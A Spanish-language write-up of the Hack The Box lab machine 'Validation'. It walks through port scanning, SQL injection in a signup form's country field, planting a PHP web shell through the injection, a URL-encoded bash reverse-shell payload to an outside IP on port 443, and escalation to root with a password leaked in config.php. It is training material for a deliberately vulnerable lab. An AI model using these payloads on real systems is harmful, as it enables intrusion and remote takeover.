WriteUp CTF Validation de Hack The Box

Introducción

En este writeup vamos a resolver la máquina Validation de la plataforma HackTheBox. En una máquina Linux y su nivel de dificultad es fácil. En esta máquina escribiremos una WebShell que inyectaremos utilizando una vulnerabilidad SQL presente en el formulario inicial. Con esta Shell, accederemos a la máquina objetivo para encontrar la primera flag. Para acceder a root, utilizaremos una password filtrada en el archivo config.php que podemos encontrar en los archivos del servidor web.

Enumeración

Comenzamos por escanear nuestro objetivo. Primero realizamos un escaneo simple rápido que nos muestre información básica de los servicios expuestos.

Ahora realizamos un escaneo más minucioso de únicamente los puertos abiertos.

Tenemos los siguientes puertos abiertos:

  • 22        SSH     OpenSSH 8.2p1
  • 80        http      Apache httpd 2.4.48
  • 4566    http      nginx (devuelve error 403)
  • 8080    http      nginx (deveulve error 502)

Vamos a realizar descubrimiento de directorios y archivos en el servidor.

Tenemos un archivo config.php, vamos a ver su contenido.

Pero parece que no podemos ver su contenido a través del navegador.Viendo los resultados obtenidos, nos centraremos en el formulario que encontramos en la web.

Tenemos una entrada de nombre de usuario. Vamos a probar este campo, añadiendo un nombre y eligiendo un país.

Vamos a añadir otro usuario y a analizar la solicitud en Burp Suite.

Como se puede ver, hay dos parámetros que se envían al servidor por solicitud POST, estos son el nombre de usuario y el país. Reenviamos la solicitud para ver la respuesta del servidor.

El servidor tiene un encabezado Set-Cookie que tiene un parámetro de usuario. Si marca el tipo de valor de usuario, entiende que es una cadena MD5 basada en su nombre de usuario.

NOTA: Algunos desarrolladores intentan crear la cookie por valor de nombre de usuario y cambiarla a algunos formatos. De hecho, esta es una vulnerabilidad porque un atacante puede cambiar muchos nombres de usuario a una cadena MD5 e intentar enviar las solicitudes mediante una nueva cookie e intentar acceder al perfil de los usuarios.

Creamos más usuarios para el mismo país.

User.txt

Con todo lo anterior, vamos a comenzar a probar los ataques de SQLi Vamos a verificar si se puede romper la consulta SQL agregando comillas simples o comillas dobles.

Probamos añadiendo una comilla simple al país, y enviando la solicitud, pero en la respuesta no aparece ninguna pista de error SQL. Volvamos al navegador y actualicemos la página.

Aparece un mensaje de código de error. Vamos a ver el código fuente de la página para verlo con más claridad.

Nuestro objetivo es vulnerable a los ataques de inyección SQL. Añadimos el parámetro ‘or’1’=’1, enviamos a solicitud, y por otro lado, actualizamos la página account.php.

Al enviar esta solicitud, vemos todos los usuarios registrados en el país Spain.

Vamos a seguir probando comandos aprovechando la vulnerabilidad SQLi. Vamos a listar la versión de la base de datos.

Podemos listar las bases de datos.

Vamos a probar si podemos subir archivos al servidor aprovechando la vulnerabilidad presente.

De esta manera creamos una WebShell en el servidor que se utiliza para obtener la ejecución de código. Si navegamos a 10.10.11.116/elhackereticoshell.php, podemos confirmar que el archivo existe.

Para obtener una Reverse Shell es tan simple como enviar un payload bash codificado como URL:

Payload:%2Fbin%2Fbash%20c%20″bash%20i%20>%26%20%2Fdev%2Ftcp%2F10.10.16.6%2F443%200>%261″

Y ya tendremos acceso a la máquina objetivo. Ahora vamos a buscar la flag user.

Y ya tenemos la flag user.txt

Elevación de privilegios

Antes, en la enumeración de directorios, recordemos que descubrimos un archivo config.php, que no pudimos acceder a su contenido a través del navegador. Vamos a buscarlo, ahora que tenemos acceso a la máquina objetivo, vamos a ver si podemos listar su contenido.

Tenemos el contenido del archivo config.php. En el contenido, vemos una password. Nos la guardamos, por si pudiese ser interesante. Vamos a probar esta contraseña para elevar a usuario root.

Tenemos acceso con el usuario root o de máximos privilegios. Buscamos la flag.

Y tendríamos la máquina acabada.

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada.